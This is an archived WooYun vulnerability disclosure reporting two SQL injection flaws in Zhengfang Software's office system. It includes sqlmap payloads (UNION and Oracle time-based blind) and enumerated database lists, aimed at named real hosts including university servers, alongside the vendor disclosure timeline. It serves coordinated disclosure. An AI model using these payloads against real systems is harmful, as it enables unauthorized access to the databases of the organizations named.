当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0108531

漏洞标题：正方软件某系统SQL注入漏洞2枚

相关厂商：正方软件

漏洞作者： Taro

提交时间：2015-04-20 12:30

修复时间：2015-07-23 10:24

公开时间：2015-07-23 10:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-20： 细节已通知厂商并且等待厂商处理中
2015-04-24： 厂商已经确认，细节仅向厂商公开
2015-04-27： 细节向第三方安全合作伙伴开放
2015-06-18： 细节向核心白帽子及相关领域专家公开
2015-06-28： 细节向普通白帽子公开
2015-07-08： 细节向实习白帽子公开
2015-07-23： 细节向公众公开

简要描述：

rt...

详细说明：

正方软件协同办公系统
漏洞页面：ldhyhd.do
示例：
1.http://oa.zzptc.com/ldhyhd.do?theAction=edit_bzOne&id=1

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: theAction=edit_bzOne&id=1' UNION ALL SELECT NULL,CHR(113)||CHR(109)||CHR(109)||CHR(99)||CHR(113)||CHR(102)||CHR(66)||CHR(105)||CHR(116)||CHR(65)||CHR(113)||CHR(66)||CHR(90)||CHR(118)||CHR(75)||CHR(113)||CHR(108)||CHR(112)||CHR(118)||CHR(113),NULL,NULL,NULL,NULL,NULL FROM DUAL--
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: theAction=edit_bzOne&id=1' AND 7945=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(78)||CHR(70)||CHR(118),5) AND 'GhHk'='GhHk
---
[09:18:57] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
available databases [19]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OA
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB


2.http://58.49.91.221/zfoa/ldhyhd.do?theAction=edit_bzOne&id=1

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: theAction=edit_bzOne&id=1' UNION ALL SELECT NULL,NULL,CHR(113)||CHR(97)||CHR(114)||CHR(107)||CHR(113)||CHR(117)||CHR(111)||CHR(76)||CHR(109)||CHR(75)||CHR(122)||CHR(86)||CHR(89)||CHR(71)||CHR(75)||CHR(113)||CHR(105)||CHR(112)||CHR(99)||CHR(113),NULL,NULL,NULL,NULL FROM DUAL--
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: theAction=edit_bzOne&id=1' AND 5126=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(120)||CHR(107)||CHR(71),5) AND 'QVsR'='QVsR
---
[09:28:47] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
available databases [21]: 
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZFOA_BZ303


3.http://202.114.196.7/zfoa/ldhyhd.do?theAction=edit_bzOne&id=1
4.http://oa.zbnc.edu.cn/zfoa/ldhyhd.do?theAction=edit_bzOne&id=1
5.http://222.78.110.150:8888/oa/ldhyhd.do?theAction=edit_bzOne&id=1
注入2
1.http://58.49.91.221/zfoa/arrange.do?theAction=choosePerson&id=1

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: theAction=choosePerson&id=1' AND 7435=DBMS_PIPE.RECEIVE_MESSAGE(CHR(68)||CHR(103)||CHR(82)||CHR(87),5) AND 'EeoU'='EeoU
---
[09:50:34] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
available databases [21]: 
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZFOA_BZ303


2.http://202.114.196.7/zfoa/arrange.do?theAction=choosePerson&id=1

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: theAction=choosePerson&id=1' AND 5935=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(118)||CHR(112)||CHR(84),5) AND 'akfp'='akfp
---
[09:48:48] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
available databases [1]:
[*] ZFOA_DEV


3.http://oa.zbnc.edu.cn/zfoa/arrange.do?theAction=choosePerson&id=1
4.http://oa.zzptc.com/arrange.do?theAction=choosePerson&id=1
5.http://222.78.110.150:8888/oa/arrange.do?theAction=choosePerson&id=1
6.http://218.21.97.123/zfoa/arrange.do?theAction=choosePerson&id=1

漏洞证明：

修复方案：

版权声明：转载请注明来源 Taro@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-04-24 10:22

厂商回复：

CNVD未直接复现所述情况，已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态：

暂无

漏洞评价：

评论